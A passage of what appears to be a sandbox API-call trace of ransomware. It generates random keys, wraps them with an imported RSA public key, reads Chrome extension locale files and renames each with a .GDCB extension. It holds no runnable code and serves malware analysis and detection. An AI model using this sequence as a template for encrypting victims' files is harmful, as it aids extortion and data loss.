data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.gdcb")) returned 1 [0280.917] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.924] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.924] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.924] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.931] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.931] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.932] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f360) returned 1 [0280.934] CryptGetKeyParam (in: hKey=0x678f360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.934] CryptEncrypt (in: hKey=0x678f360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.935] GetLastError () returned 0x0 [0280.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.935] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f4a0) returned 1 [0280.937] CryptGetKeyParam (in: hKey=0x678f4a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.937] CryptEncrypt (in: hKey=0x678f4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.937] GetLastError () returned 0x0 [0280.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.937] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.939] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.942] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.945] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x5593, lpOverlapped=0x0) returned 1 [0280.955] VirtualAlloc (lpAddress=0x0, dwSize=0x55a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.962] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json.gdcb")) returned 1 [0280.968] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.975] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.975] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.975] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.981] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.981] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.981] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.981] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.984] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f620) returned 1 [0280.984] CryptGetKeyParam (in: hKey=0x678f620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.984] CryptEncrypt (in: hKey=0x678f620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.984] GetLastError () returned 0x0 [0280.984] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.984] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.986] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f3a0) returned 1 [0280.987] CryptGetKeyParam (in: hKey=0x678f3a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.987] CryptEncrypt (in: hKey=0x678f3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.987] GetLastError () returned 0x0 [0280.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.987] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.988] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.992] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.994] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4f64, lpOverlapped=0x0) returned 1 [0281.005] VirtualAlloc (lpAddress=0x0, dwSize=0x4f70, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.013] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0281.019] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.026] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.026] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0281.026] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.027] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.030] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.033] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0281.033] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.034] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0281.036] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f120) returned 1 [0281.036] CryptGetKeyParam (in: hKey=0x678f120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.036] CryptEncrypt (in: hKey=0x678f120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0281.037] GetLastError () returned 0x0 [0281.037] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.037] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.039] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f660) returned 1 [0281.039] CryptGetKeyParam (in: hKey=0x678f660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.039] CryptEncrypt (in: hKey=0x678f660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0281.039] GetLastError () returned 0x0 [0281.039] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.039] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0281.040] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.044] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.048] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x404e, lpOverlapped=0x0) returned 1 [0281.057] VirtualAlloc (lpAddress=0x0, dwSize=0x4050, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.065] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0281.070] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.076] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.076] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0281.077] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.077] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.082] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0281.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.082] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.085] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f520) returned 1 [0281.085] CryptGetKeyParam (in: hKey=0x678f520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.085] CryptEncrypt (in: hKey=0x678f520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0281.085] GetLastError () returned 0x0 [0281.085] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.085] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0281.087] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f7e0) returned 1 [0281.087] CryptGetKeyParam (in: hKey=0x678f7e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.087] CryptEncrypt (in: hKey=0x678f7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0281.087] GetLastError () returned 0x0 [0281.087] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.087] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0281.088] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.091] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.093] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x48f1, lpOverlapped=0x0) returned 1 [0281.103] VirtualAlloc (lpAddress=0x0, dwSize=0x4900, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.110] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0281.116] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.121] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0281.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.122] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0281.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.128] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0281.128] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.128] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.130] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f5a0) returned 1 [0281.131] CryptGetKeyParam (in: hKey=0x678f5a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.131] CryptEncrypt (in: hKey=0x678f5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0281.131] GetLastError () returned 0x0 [0281.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.131] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0281.133] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f1a0) returned 1 [0281.133] CryptGetKeyParam (in: hKey=0x678f1a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.133] CryptEncrypt (in: hKey=0x678f1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0281.133] GetLastError () returned 0x0 [0281.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0281.134] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.137] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.143] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x426b, lpOverlapped=0x0) returned 1 [0281.162] VirtualAlloc (lpAddress=0x0, dwSize=0x4270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.169] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and 